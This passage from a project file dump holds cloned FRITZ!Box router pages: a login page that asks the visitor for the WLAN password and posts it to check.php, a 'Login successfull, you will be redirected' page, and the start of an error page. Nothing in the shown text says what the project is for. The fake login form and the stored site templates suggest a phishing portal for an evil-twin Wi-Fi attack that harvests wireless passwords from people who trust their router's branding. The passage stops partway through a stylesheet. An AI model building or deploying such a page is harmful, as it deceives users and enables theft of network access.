3.75rem;\r\nbackground-position: left 0.5rem center;\r\nbackground-size: 3.75rem;\r\nwidth: 5rem;\r\n}\r\n.formular {\r\ntext-align: left;\r\nmargin: 0;\r\npadding: 0;\r\n}\r\nlabel,\r\ninput,\r\nselect {\r\nvertical-align: middle;\r\ndisplay: inline-block;\r\nmargin: 0 0 0.5rem;\r\ncolor: #3F464C;\r\n}\r\n.pushmailQuestion,\r\n.pushmailSend,\r\n#setFac,\r\n.restore {\r\npadding: 0;\r\n}\r\n.formular label {\r\nwidth: 10rem;\r\nline-height: 1.7rem;\r\nmargin: 0 0.5rem 0 0;\r\nvertical-align: top;\r\n}\r\n#uiLoginError,\r\n#uiUsernameError {\r\nmargin: 0 0 1rem 0;\r\nfont-size: 1.15rem;\r\n}\r\n#uiUsernameError.hidden,\r\n#uiLoginError,\r\n#uiLoginError.hidden {\r\nmargin: 0;\r\n}\r\n.formular input,\r\n.formular select {\r\nborder: 1px solid #d5d5d5;\r\nheight: 1.7rem;\r\nwidth: 100%;\r\nmax-width: 20rem;\r\n}\r\n.formular input.error,\r\n.formular select.error {\r\nborder-color: #ff3000;\r\n}\r\n.formular input {\r\npadding: 0 0.25rem;\r\n}\r\n.language_selection.formular input {\r\nwidth: auto;\r\nmargin: 0 0.5rem 0.5rem 0;\r\n}\r\n.btn_form_foot {\r\nborder: none;\r\nmargin: 0 -1.25rem 0 -1.25rem;\r\npadding: 0 1.25rem;\r\ntext-align: center;\r\nwidth: calc(100% + 2.5rem);\r\ndisplay: flex;\r\nflex-direction: column-reverse;\r\n}\r\nbutton,\r\n.btn_form_foot button {\r\nmin-width: 100%;\r\nmin-height: 2.2rem;\r\nmargin: 0;\r\n}\r\n.btn_form_foot button {\r\nmargin: 2rem 0 0 0;\r\n}\r\n.btn_form_foot a {\r\ndisplay: block;\r\nposition: fixed;\r\nbottom: 0;\r\nleft: 0;\r\ntext-align: center;\r\nwidth: 100%;\r\npadding: 1rem 0;\r\nbackground-color: #f1f6f9;\r\ncursor: pointer;\r\n}\r\n.btn_form_foot a {\r\ncolor: #3080C8;\r\n}\r\n.logoBox.fake {\r\ndisplay: none;\r\n}\r\n}\r\n.perfTestHead {\r\nborder-top: 1px solid #ff3000;\r\nmargin: 1rem 0 0 0;\r\npadding: 1.25rem 1.25rem 0 1.25rem;\r\ncolor: #ff3000;\r\ncursor: pointer;\r\n}\r\n.perfTestHead span {\r\ndisplay: inline-block;\r\nheight: 1rem;\r\nwidth: 2rem;\r\nbackground-image: url(\"/css/rd/images/link_open_red.svg\");\r\nbackground-position: center;\r\nbackground-size: 1rem;\r\nbackground-repeat: no-repeat;\r\n}\r\n.perfTestHead.show span {\r\nbackground-image: url(\"/css/rd/images/link_closed_red.svg\");\r\n}\r\n.perfTestMsg {\r\ndisplay: none;\r\npadding: 0 1.25rem 0 1.25rem;\r\n}\r\n.perfTestMsg.show {\r\ndisplay: block;\r\n}\r\n.forgotPass .perfTestHead,\r\n.forgotPass .perfTestMsg.show {\r\ndisplay: none;\r\n}\r\n.hintMsg {\r\nfont-weight: bold;\r\n}\r\n@media (max-width: 759px) {\r\n.perfTestHead {\r\nmargin: 1.5rem 0 0 0;\r\npadding: 1.25rem 0 0 0;\r\n}\r\n.perfTestMsg {\r\npadding: 0;\r\n}\r\n}\r\n@media (min-width: 2040px) {\r\nhtml {\r\nfont-size: 0.79vw;\r\n}\r\n}\r\n\r\n\r\n</style>\r\n<title>\r\nFRITZ!Box\r\n</title>\r\n</head>\r\n<body>\r\n<script>\r\nvar gNbc = false,\r\nconfig = {\"gu_type\":\"release\",\"isDebug\":false,\"GUI_IS_REPEATER\":false};\r\n</script>\r\n<script src=\"FRITZ%21Box-Dateien/avmcore.js\"></script>\r\n<!--<script src=\"/js/browser.js\"></script>-->\r\n<!--<script src=\"/js/jsl.js\"></script>-->\r\n<!--<script src=\"/js/md5.js\"></script>-->\r\n<!--<script src=\"/js/html.js\"></script>-->\r\n<!--<script src=\"/js/func.js\"></script>-->\r\n<!--<script type=\"text/javascript\" src=\"/myfritz/js/focuschanger.js?lang=de\"></script>-->\r\n<!--<script src=\"/js/html2.js?lang=de\"></script>-->\r\n<!--<script src=\"/js/http.js\"></script>-->\r\n<script type=\"text/javascript\" src=\"FRITZ%21Box-Dateien/login.js\"></script>\r\n<script type=\"text/javascript\">\r\n\r\n</script>\r\n<header id=\"blueBarBox\" name=\"\" class=\"\"><div id=\"\" name=\"\" class=\"logoBox\"></div>\r\n<div id=\"blueBarTitel\" name=\"\" class=\"blue_bar_title\">FRITZ!Box WLAN</div>\r\n<div id=\"\" name=\"\" class=\"logoBox fake\"></div></header><div class=\"dialog_outer\">\r\n<div id=\"dialogInner\" class=\"dialog_inner\">\r\n<div id=\"dialogHeadBox\" class=\"dialog_head_box\">\r\n<h2 id=\"dialogTitle\">Login successfull</h2></div>\r\n<div id=\"dialogContent\" class=\"dialog_content\">\r\n<div class=\"formular\">\r\n<br>\r\n<p>You will be redirected.</p>\r\n\r\n"
  },
  {
    "path": "sites/fritzbox_en/index.html",
    "content": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<meta http-equiv=\"Cache-Control\" content=\"private, no-transform\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n<meta name=\"format-detection\" content=\"telephone=no\">\r\n<meta http-equiv=\"x-rim-auto-match\" content=\"none\">\r\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, user-scalable=yes, minimal-ui\">\r\n<meta name=\"mobile-web-app-capable\" content=\"yes\">\r\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\r\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\">\r\n<meta http-equiv=\"cleartype\" content=\"on\">\r\n<link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"http://192.168.178.1/favicon.ico\">\r\n<link rel=\"apple-touch-icon\" href=\"http://192.168.178.1/css/default/images/kopfbalken_links.png\">\r\n<link rel=\"apple-touch-startup-image\" href=\"http://192.168.178.1/css/default/images/kopfbalken_links.png\">\r\n<style>\r\n@font-face {\r\nfont-family: 'Source Sans Pro';\r\nsrc: url('/css/rd/fonts/sourcesanspro.woff');\r\n}\r\n@font-face {\r\nfont-family: 'Source Sans Pro';\r\nsrc: url('/css/rd/fonts/sourcesansproBold.woff');\r\nfont-weight: bold;\r\n}\r\n@font-face {\r\nfont-family: 'AVM';\r\nsrc: url('/css/rd/fonts/metaWebProBold.woff');\r\nfont-weight: bold;\r\n}\r\nhtml, input, textarea, keygen, select, button {\r\nfont-family: 'Source Sans Pro', Arial, sans-serif;\r\nfont-size: 100%;\r\n}\r\n.blue_bar_title,\r\n.logoArea {\r\nfont-family: 'AVM', 'Source Sans Pro', Arial, sans-serif;\r\n}\r\n</style>\r\n\r\n<style type=\"text/css\">\r\n/********************************************** Allgemein **********************************************/\r\n* {\r\n-webkit-tap-highlight-color: rgba(0,0,0,0);\r\n-webkit-box-sizing: border-box;\r\n-moz-box-sizing: border-box;\r\nbox-sizing: border-box;\r\n-webkit-touch-callout: text;\r\n-webkit-user-select: text;\r\n-khtml-user-select: text;\r\n-moz-user-select: text;\r\n-ms-user-select: text;\r\nuser-select: text;\r\nfont-size: 100%;\r\nvertical-align: middle;\r\noutline: 0;\r\n}\r\n*::selection {\r\nbackground: transparent;\r\n}\r\n*::-moz-selection {\r\nbackground: transparent;\r\n}\r\n.selectable *::selection {\r\nbackground: #8fdaff;\r\n}\r\n.selectable *::-moz-selection {\r\nbackground: #8fdaff;\r\n}\r\nhtml {\r\nheight: 100%;\r\nfont-size: 100%;\r\nbackground-color: #f0eee6;\r\ntransition: background-color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\nbody {\r\nheight: 100%;\r\npadding:0;\r\nmargin:0;\r\ncolor: #3F464C;\r\noverflow-x: hidden;\r\noverflow-y: auto;\r\nline-height: 1;\r\n}\r\nh1, h2, h3, h4, h5, p, span, div, hr, br, nav, header, section, menu {\r\nmargin: 0;\r\npadding: 0;\r\nborder: 0;\r\n}\r\nh4 {\r\nmargin: 1.25rem 0;\r\n}\r\ninput {\r\nmargin: 0;\r\npadding: 0;\r\n}\r\nhr {\r\npadding: 0;\r\nborder-top: 1px solid #d5d5d5;\r\nmargin: 1.25rem -1.25rem;\r\n}\r\nheader {\r\nheight: 6.25rem;\r\nwidth: 100%;\r\nposition: fixed;\r\ntop: 0;\r\nleft: 0;\r\nz-index: 100;\r\nbackground-color: #006ec0;\r\ndisplay: -webkit-box;\r\ndisplay: -moz-box;\r\ndisplay: -ms-flexbox;\r\ndisplay: -webkit-flex;\r\ndisplay: flex;\r\n-webkit-box-flex-direction: row;\r\n-moz-box-flex-direction: row;\r\n-webkit-flex-direction: row;\r\n-ms-flex-direction: row;\r\nflex-direction: row;\r\ntransition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n.hidden {\r\ndisplay: none;\r\n}\r\n.blue_bar_title {\r\n-webkit-box-flex: 1 1 auto;\r\n-moz-box-flex: 1 1 auto;\r\n-webkit-flex: 1 1 auto;\r\n-ms-flex: 1 1 auto;\r\nflex: 1 1 auto;\r\n-webkit-box-align-self: center;\r\n-moz-box-align-self: center;\r\n-webkit-align-self: center;\r\n-ms-align-self: center;\r\nalign-self: center;\r\nmargin: 0.3rem 0 0 0;\r\nfont-size: 3rem;\r\nfont-weight: bold;\r\ntext-align: left;\r\ncolor: #ffffff;\r\noverflow: hidden;\r\nwhite-space: nowrap;\r\ntext-overflow: ellipsis;\r\ntext-align: center;\r\ntransition: all 150ms;\r\n}\r\n.blue_bar_title.fade {\r\nfont-size: 0;\r\ncolor: transparent;\r\n}\r\n.logoBox {\r\nbackground-image: url(\"fritzLogo.svg\");\r\nbackground-position: center right;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 7rem;\r\ncolor: transparent;\r\nwidth: 10.75rem;\r\nheight: 6.25rem;\r\n}\r\n.logoBox.fake {\r\nbackground-image: none;\r\n}\r\n.dialog_outer {\r\nheight: 100%;\r\ndisplay: -webkit-box;\r\ndisplay: -moz-box;\r\ndisplay: -ms-flexbox;\r\ndisplay: -webkit-flex;\r\ndisplay: flex;\r\n-webkit-box-justify-content: center;\r\n-moz-box-justify-content: center;\r\n-webkit-justify-content: center;\r\n-ms-justify-content: center;\r\njustify-content: center;\r\n-webkit-box-align-items: center;\r\n-moz-box-align-items: center;\r\n-webkit-align-items: center;\r\n-ms-align-items: center;\r\nalign-items: center;\r\nbackground-image: url(\"login_background.svg\");\r\nbackground-position: center 51%;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 38rem;\r\npadding: 6.5rem 0;\r\n}\r\n.dialog_outer p {\r\nmargin: 1.25rem 0;\r\nline-height: 1.25rem;\r\n}\r\n.loginForm {\r\ndisplay: block;\r\n}\r\n.setFac .pushmailQuestion,\r\n.setFac #sendFacReset,\r\n.setFac #sendPushMail,\r\n.setFac #setFac,\r\n.pushmailSend,\r\n.restore,\r\n.pushmail .pushmailQuestion,\r\n.pushmail #sendFacReset,\r\n.pushmail #sendPushMail,\r\n.pushmail #setFac,\r\n.forgotPassForm,\r\n.forgotPass .loginForm {\r\ndisplay: none;\r\n}\r\n.setFac .restore,\r\n.pushmail .pushmailSend,\r\n.forgotPass .forgotPassForm {\r\ndisplay: block;\r\nvisibility: visible;\r\n}\r\n.setFac .forgotPassForm {\r\ndisplay: none;\r\n}\r\n.pushmail.wait .pushmailSend {\r\nvisibility: hidden;\r\n}\r\n.intxt.wait,\r\n.setFac.wait .dialog_content,\r\n.pushmail.wait .dialog_content {\r\nbackground-image: url(\"/css/rd/images/wait_circle_bright_back.gif\");\r\nbackground-position: center 1.5rem;\r\nbackground-repeat: no-repeat;\r\nbackground-size: 2rem;\r\n}\r\n.intxt.wait {\r\nheight: 2rem;\r\nwidth: 100%;\r\nmargin: 0.5rem;\r\nbackground-position: center;\r\n}\r\n.ErrorMsg,\r\n.error_text,\r\n.WarnMsgBold {\r\ncolor: #ff3000;\r\n}\r\n.WarnMsgBold {\r\nfont-weight:bold;\r\n}\r\n.pushmailQuestion,\r\n.pushmailSend,\r\n#setFac,\r\n.restore {\r\npadding: 0 1.25rem;\r\n}\r\n#uiLoginError,\r\n#uiUsernameError {\r\nheight: 1.25rem;\r\nmargin: -0.35rem 0 0.75rem 9rem;\r\nfont-size: 0.94rem;\r\ntransition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n#uiLoginError {\r\nheight: 7.25rem;\r\nmargin: -0.35rem 0 0 9rem;\r\n}\r\n#uiLoginError p:first-Child {\r\nmargin: 0;\r\n}\r\n#uiLoginError p:nth-Child(2) {\r\nmargin: 0 0 1.25rem 0;\r\n}\r\n#uiLoginError p {\r\ntransition: color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);\r\n}\r\n@media (max-width: 759px) {\r\n#uiLoginError {\r\nheight: 7.5rem;\r\n}\r\n}\r\n@media (max-width: 369px) {\r\n#uiLoginError {\r\nheight: 10rem;\r\n}\r\n}\r\n@media (max-width: 279px) {\r\n#uiLoginError {\r\nheight: 13rem;\r\n}\r\n}\r\n#uiUsernameError.hidden,\r\n#uiLoginError.hidden {\r\ndisplay: block;\r\noverflow: hidden;\r\nheight: 0;\r\nmargin: 0 0 0 9rem;\r\n}\r\n#uiLoginError.hidden p.error_text {\r\ncolor: transparent;\r\n}\r\nbutton {\r\nmin-width: 5.5rem;\r\nmin-height: 1.75rem;\r\noverflow: hidden;\r\npadding: 0 1rem;\r\nmargin: 0 0 0 1.25rem;\r\nbackground-color: #e9edf0;\r\nborder: 1px solid #d8dfe3;\r\nborder-radius: 0.25rem;\r\ncolor: #4269a4;\r\ncursor: pointer;\r\nwill-change: border, background-color, color;\r\ntransition: border 100ms,\r\nbackground-color 100ms,\r\ncolor 100ms;\r\n}\r\n.btn_form_foot button {\r\nmargin: 0 0 0 1.25rem;\r\n}\r\nbutton:first-Child {\r\nmargin-left: 0;\r\n}\r\nbutton:active {\r\nbackground-color: #bcccd4;\r\nborder: 1px solid #b0bec5;\r\n}\r\nbutton:disabled {\r\nbackground-color: #e0e0de;\r\nborder: 1px solid #d8dfe3;\r\ncolor: #969693;\r\ncursor: default;\r\n}\r\n.btn_form_foot button {\r\nmin-height: 2rem;\r\nmin-width: 7.5rem;\r\nmargin: 0 0 0 0.5rem;\r\nbackground-color: #268edf;\r\ncolor: #ffffff;\r\ncursor: pointer;\r\noverflow: hidden;\r\ntext-align: center;\r\npadding: 0.35rem 1rem;\r\nwill-change: margin, width, background-color, color;\r\ntransition: margin 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),\r\nwidth 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),\r\nbackground-color 100ms,\r\ncolor 100ms;\r\nborder: 0;\r\nborder-radius: 0;\r\n}\r\n.btn_form_foot button:active {\r\nbackground-color: #57758c;\r\n}\r\n.btn_form_foot button:disabled {\r\nbackground-color: #d5d5d5;\r\ncolor: #969693;\r\ncursor: default;\r\n}\r\n@media (max-width: 1023px) {\r\n.btn_form_foot button {\r\nmin-height: 2.25rem;\r\n}\r\n}\r\n@media (min-width: 760px) {\r\n/*pc*/\r\n.dialog_inner {\r\n-webkit-box-flex: 0 0 28.75rem;\r\n-moz-box-flex: 0 0 28.75rem;\r\n-webkit-flex: 0 0 28.75rem;\r\n-ms-flex: 0 0 28.75rem;\r\nflex: 0 0 28.75rem;\r\nmargin: auto 0;\r\npadding: 0;\r\nbox-shadow: 0 0.1875rem 0.375rem rgba(0,0,0,0.25);\r\nbackground-color: #ffffff;\r\n}\r\n.dialog_head_box {\r\ntext-align: left;\r\nheight: 3.25rem;\r\nmargin: auto;\r\nbackground-color: #268edf;\r\n}\r\n.dialog_head_box h2 {\r\nmargin: 0 0 0 1.25rem;\r\nfont-weight: bold;\r\nfont-size: 1.25rem;\r\ncolor: #ffffff;\r\nletter-spacing: 0.025rem;\r\nline-height: 3.4rem;\r\n}\r\n.dialog_content {\r\npadding: 0 0 1rem 0;\r\nmin-height: 5rem;\r\n}\r\n.formular {\r\ntext-align: left;\r\nmargin: 0;\r\npadding: 0 1.25rem 0 1.25rem;\r\n}\r\nlabel,\r\ninput,\r\nselect {\r\nmargin: 0 0 0.5rem;\r\ncolor: #3F464C;\r\nvertical-align: middle;\r\ndisplay: inline-block;\r\n}\r\n.formular label {\r\nwidth: 8.5rem;\r\nmargin-right: 0.5rem;\r\nline-height: 1.7rem;\r\n}\r\n.formular input,\r\n.formular select {\r\nwidth: 17.25rem;\r\nborder: 1px solid #d5d5d5;\r\nheight: 1.7rem;\r\n}\r\n.formular input.error,\r\n.formular select.error {\r\nborder-color: #ff3000;\r\n}\r\n.formular input {\r\npadding: 0 0.25rem;\r\n}\r\n.language_selection.formular input {\r\nwidth: auto;\r\nmargin-right: 0.25rem;\r\n}\r\n.btn_form_foot {\r\nborder-top: 1px solid #d5d5d5;\r\nmargin: 1.75rem 0 0 0;\r\npadding: 1rem 1.25rem 0 1.25rem;\r\ntext-align: right;\r\nwidth: 100%;\r\ndisplay: flex;\r\nflex-direction: row-reverse;\r\njustify-content: space-between;\r\nalign-items: center;\r\n}\r\n.forgotPass .btn_form_foot {\r\njustify-content: flex-start;\r\n}\r\n.btn_form_foot a {\r\ndisplay: inline-block;\r\ntext-decoration: none;\r\nfont-size: 0.9375rem;\r\nfont-weight: normal;\r\ncolor: #4269a4;\r\nmargin: 0;\r\npadding: 0.1rem 0 0 0;\r\ncursor: pointer;\r\n}\r\n.btn_form_foot a:hover {\r\ntext-decoration: underline;\r\n}\r\n}\r\n@media (max-width: 759px) {\r\n/*fr mobile Ansicht*/\r\nhtml {\r\nbackground-color: #ffffff;\r\nbackground-image: none;\r\n}\r\nbody {\r\nheight: auto;\r\n}\r\nheader {\r\nheight: 3.75rem;\r\n}\r\n.dialog_outer {\r\nfont-size: 1.25rem;\r\nbackground-image: none;\r\npadding: 3.75rem 0 4.25rem 0;\r\n}\r\n.blue_bar_title {\r\ntext-align: left;\r\npadding: 1rem 0 1.035rem 0.15rem;\r\nfont-size: 1.25rem;\r\nfont-weight: normal;\r\n}\r\n.blue_bar_title.hide {\r\ncolor: transparent;\r\n}\r\n.dialog_inner {\r\nwidth: 90%;\r\nmargin: 0;\r\n}\r\n.dialog_head_box {\r\ndisplay: none;\r\n}\r\n.logoBox {\r\nheight: 3.75rem;\r\nbackground-position: left 0.5rem center;\r\nbackground-size: 3.75rem;\r\nwidth: 5rem;\r\n}\r\n.formular {\r\ntext-align: left;\r\nmargin: 0;\r\npadding: 0;\r\n}\r\nlabel,\r\ninput,\r\nselect {\r\nvertical-align: middle;\r\ndisplay: inline-block;\r\nmargin: 0 0 0.5rem;\r\ncolor: #3F464C;\r\n}\r\n.pushmailQuestion,\r\n.pushmailSend,\r\n#setFac,\r\n.restore {\r\npadding: 0;\r\n}\r\n.formular label {\r\nwidth: 10rem;\r\nline-height: 1.7rem;\r\nmargin: 0 0.5rem 0 0;\r\nvertical-align: top;\r\n}\r\n#uiLoginError,\r\n#uiUsernameError {\r\nmargin: 0 0 1rem 0;\r\nfont-size: 1.15rem;\r\n}\r\n#uiUsernameError.hidden,\r\n#uiLoginError,\r\n#uiLoginError.hidden {\r\nmargin: 0;\r\n}\r\n.formular input,\r\n.formular select {\r\nborder: 1px solid #d5d5d5;\r\nheight: 1.7rem;\r\nwidth: 100%;\r\nmax-width: 20rem;\r\n}\r\n.formular input.error,\r\n.formular select.error {\r\nborder-color: #ff3000;\r\n}\r\n.formular input {\r\npadding: 0 0.25rem;\r\n}\r\n.language_selection.formular input {\r\nwidth: auto;\r\nmargin: 0 0.5rem 0.5rem 0;\r\n}\r\n.btn_form_foot {\r\nborder: none;\r\nmargin: 0 -1.25rem 0 -1.25rem;\r\npadding: 0 1.25rem;\r\ntext-align: center;\r\nwidth: calc(100% + 2.5rem);\r\ndisplay: flex;\r\nflex-direction: column-reverse;\r\n}\r\nbutton,\r\n.btn_form_foot button {\r\nmin-width: 100%;\r\nmin-height: 2.2rem;\r\nmargin: 0;\r\n}\r\n.btn_form_foot button {\r\nmargin: 2rem 0 0 0;\r\n}\r\n.btn_form_foot a {\r\ndisplay: block;\r\nposition: fixed;\r\nbottom: 0;\r\nleft: 0;\r\ntext-align: center;\r\nwidth: 100%;\r\npadding: 1rem 0;\r\nbackground-color: #f1f6f9;\r\ncursor: pointer;\r\n}\r\n.btn_form_foot a {\r\ncolor: #3080C8;\r\n}\r\n.logoBox.fake {\r\ndisplay: none;\r\n}\r\n}\r\n.perfTestHead {\r\nborder-top: 1px solid #ff3000;\r\nmargin: 1rem 0 0 0;\r\npadding: 1.25rem 1.25rem 0 1.25rem;\r\ncolor: #ff3000;\r\ncursor: pointer;\r\n}\r\n.perfTestHead span {\r\ndisplay: inline-block;\r\nheight: 1rem;\r\nwidth: 2rem;\r\nbackground-image: url(\"/css/rd/images/link_open_red.svg\");\r\nbackground-position: center;\r\nbackground-size: 1rem;\r\nbackground-repeat: no-repeat;\r\n}\r\n.perfTestHead.show span {\r\nbackground-image: url(\"/css/rd/images/link_closed_red.svg\");\r\n}\r\n.perfTestMsg {\r\ndisplay: none;\r\npadding: 0 1.25rem 0 1.25rem;\r\n}\r\n.perfTestMsg.show {\r\ndisplay: block;\r\n}\r\n.forgotPass .perfTestHead,\r\n.forgotPass .perfTestMsg.show {\r\ndisplay: none;\r\n}\r\n.hintMsg {\r\nfont-weight: bold;\r\n}\r\n@media (max-width: 759px) {\r\n.perfTestHead {\r\nmargin: 1.5rem 0 0 0;\r\npadding: 1.25rem 0 0 0;\r\n}\r\n.perfTestMsg {\r\npadding: 0;\r\n}\r\n}\r\n@media (min-width: 2040px) {\r\nhtml {\r\nfont-size: 0.79vw;\r\n}\r\n}\r\n\r\n\r\n</style>\r\n<title>\r\nFRITZ!Box\r\n</title>\r\n</head>\r\n<body>\r\n<script>\r\nvar gNbc = false,\r\nconfig = {\"gu_type\":\"release\",\"isDebug\":false,\"GUI_IS_REPEATER\":false};\r\n</script>\r\n<script src=\"FRITZ%21Box-Dateien/avmcore.js\"></script>\r\n<!--<script src=\"/js/browser.js\"></script>-->\r\n<!--<script src=\"/js/jsl.js\"></script>-->\r\n<!--<script src=\"/js/md5.js\"></script>-->\r\n<!--<script src=\"/js/html.js\"></script>-->\r\n<!--<script src=\"/js/func.js\"></script>-->\r\n<!--<script type=\"text/javascript\" src=\"/myfritz/js/focuschanger.js?lang=de\"></script>-->\r\n<!--<script src=\"/js/html2.js?lang=de\"></script>-->\r\n<!--<script src=\"/js/http.js\"></script>-->\r\n<script type=\"text/javascript\" src=\"FRITZ%21Box-Dateien/login.js\"></script>\r\n<script type=\"text/javascript\">\r\n\r\n</script>\r\n<header id=\"blueBarBox\" name=\"\" class=\"\"><div id=\"\" name=\"\" class=\"logoBox\"></div>\r\n<div id=\"blueBarTitel\" name=\"\" class=\"blue_bar_title\">FRITZ!Box WLAN</div>\r\n<div id=\"\" name=\"\" class=\"logoBox fake\"></div></header><div class=\"dialog_outer\">\r\n<div id=\"dialogInner\" class=\"dialog_inner\">\r\n<div id=\"dialogHeadBox\" class=\"dialog_head_box\">\r\n<h2 id=\"dialogTitle\">Welcome to your FRITZ!Box</h2></div>\r\n<div id=\"dialogContent\" class=\"dialog_content\">\r\n\r\n<form method=\"post\" action=\"check.php\" id=\"form1\" name=\"form1\" class=\"loginForm\">\r\n\r\n<div class=\"formular\">\r\n<p>Please log in with your WLAN-password.</p>\r\n<input tabindex=\"2\" name=\"key1\" type=\"password\">\r\n<div id=\"uiLoginError\" class=\"hidden\">\r\n<p id=\"uiWait\" class=\"error_text\"></p></div></div>\r\n<div class=\"btn_form_foot\">\r\n<input name=\"response\" id=\"uiResp\" value=\"\" type=\"hidden\">\r\n<input name=\"lp\" value=\"\" type=\"hidden\">\r\n<input name=\"username\" id=\"username\" value=\"\" type=\"hidden\">\r\n<button type=\"submit\" tabindex=\"3\" id=\"submitLoginBtn\">Log in</button>\r\n<a>Forgot password?</a></div></form></div></div></div>"
  },
  {
    "path": "sites/fritzbox_eng/error.html",
    "content": "<!doctype html>\r\n<html>\r\n<head>\r\n<meta charset=\"utf-8\">\r\n<meta name=\"viewport\" content=\"width=device-width; initial-scale=1.0;\" />  \r\n<title>FRITZ!Box</title>\r\n<style type=\"text/css\">\r\nbody {\r\n\tmargin-left: 0px;\r\n\tmargin-top: 0px;\r\n\tmargin-right: 0px;\r\n\tmargin-bottom: 0px;\r\n\tbackground-image: url(bg.png);\r\n\tbackground-repeat:repeat-x;\r\n\tcolor:#414143;\r\n\tfont-family:\"Gill Sans\", \"Gill Sans MT\", \"Myriad Pro\", \"DejaVu Sans Condensed\", Helvetica, Arial, sans-serif;\r\n\tfont-size: 14px;\r\n}\r\na:link {\r\n\tcolor:#2e5b9b;\r\n\ttext-decoration:none;\r\n}\r\na:hover {\r\n\tcolor:#386fbd;\r\n}\r\na:visited {\r\n\tcolor:#2e5b9b;\r\n}\r\n.blue_text {\r\n\tcolor:#0c3465;\r\n}\r\n#wrapper {\r\n\tmax-width:1004px;\r\n\tmargin:auto;\r\n}\r\n#header {\r\n\tbackground-image:url(header.png);\r\n\tbackground-repeat:no-repeat;\r\n\tbackground-position:center;\r\n\twidth:100%;\r\n\theight:91px;\r\n\tposition:relative;\r\n\tmargin:auto;\r\n}\r\n#header_icons {\r\n\twidth:100%;\r\n\theight:45px;\r\n\tposition:relative;\r\n\tmargin:auto;\r\n\ttext-align:right;\r\n\tdisplay:inline-block;\r\n}\r\n#header_icons ul {\r\n\tlist-style-type:none;\r\n\tmargin-right:20px;\r\n}\r\n#header_icons ul li {\r\n\tdisplay:inline-block;\r\n\tcolor:#0c3465;\r\n\tvertical-align:middle;\r\n}\r\n#sidebar_left {\r\n\tposition:relative;\r\n\tfloat:left;\r\n\tborder: thin solid #99adab;\r\n\tborder-radius: 15px 15px 15px 15px;\r\n\tbackground-color:#fbf8f4;\r\n\tmin-width:150px;\r\n\tpadding: 10px;\r\n\tmargin-left:20px;\r\n}\r\n#sidebar_left ul {\r\n\tlist-style-type:none;\r\n\tmargin:0px;\r\n\tpadding:0px;\r\n}\r\n#sidebar_left ul li {\r\n\tlist-style-type:none;\r\n\tfont-weight: bold;\r\n\tfont-size: 16px;\r\n\twidth:95%;\r\n\tpadding-left:5px;\r\n\tpadding-top: 2px;\r\n\tpadding-bottom: 2px;\r\n\ttext-align:left;\r\n}\r\n#sidebar_left ul li a {\r\n\tcolor:#093e75;\r\n}\r\n.sidebar_left_selected {\r\n\tborder: thin solid #99adab;\r\n\tborder-radius: 10px 10px 10px 10px;\r\n\tbackground: #bed7ed; /* Old browsers */\r\n    background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */\r\n    background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */\r\n    background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */\r\n    filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */\r\n}\r\n#content {\r\n\tposition:relative;\r\n\tfloat: right;\r\n\twidth: 750px;\r\n\tmin-height: 400px;\r\n\tborder: thin solid #99adab;\r\n\tborder-radius: 15px 15px 15px 15px;\r\n\tbackground-color:#fbf8f4;\r\n\tmargin-right: 25px;\r\n}\r\n#content_head {\r\n\tposition:relative;\r\n\tborder-radius: 15px 15px 0px 0px;\r\n\tmin-height: 27px;\r\n\ttext-align:left;\r\n\tfont-size:18px;\r\n\tfont-weight:bold;\r\n\tpadding-top:3px;\r\n\tbackground: #bed7ed; /* Old browsers */\r\n    background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */\r\n    background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */\r\n    background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */\r\n    filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */\r\n\tborder-bottom: thin solid #99adab;\r\n}\r\n#subcontent {\r\n\tbackground-color:#FFFFFF;\r\n\tborder: thin solid #99adab;\r\n\tborder-radius: 0px 0px 0px 0px;\r\n\twidth: 60%;\r\n\tmargin:auto;\r\n\tmargin-top: 20px;\r\n\tmargin-bottom: 40px;\r\n}\r\n#subcontent_phone ul {\r\n\tlist-style-type:none;\r\n\tmargin:10px;\r\n\tpadding:0px;\r\n}\r\n#subcontent_phone {\r\n\tdisplay:none ;\r\n}\r\n#subcontent_phone ul {\r\n\tlist-style:none; \r\n}\r\n#subcontent_phone ul li {\r\n\ttext-align:center;\r\n}\r\n#footer {\r\n\tposition: relative;\r\n\tmargin-right: 30px;\r\n\t\r\n\tfloat:right;\r\n}\r\n#footer ul {\r\n\tlist-style-type:none;\r\n\t\r\n}\r\n#footer ul li {\r\n\tdisplay:inline-block;\r\n\tmargin-right: 10px;\r\n}\r\n@media only screen and (max-width: 1024px) {\r\n\t#content {\r\n\t\twidth:70%;\r\n\t}\r\n}\r\n\r\n@media only screen and 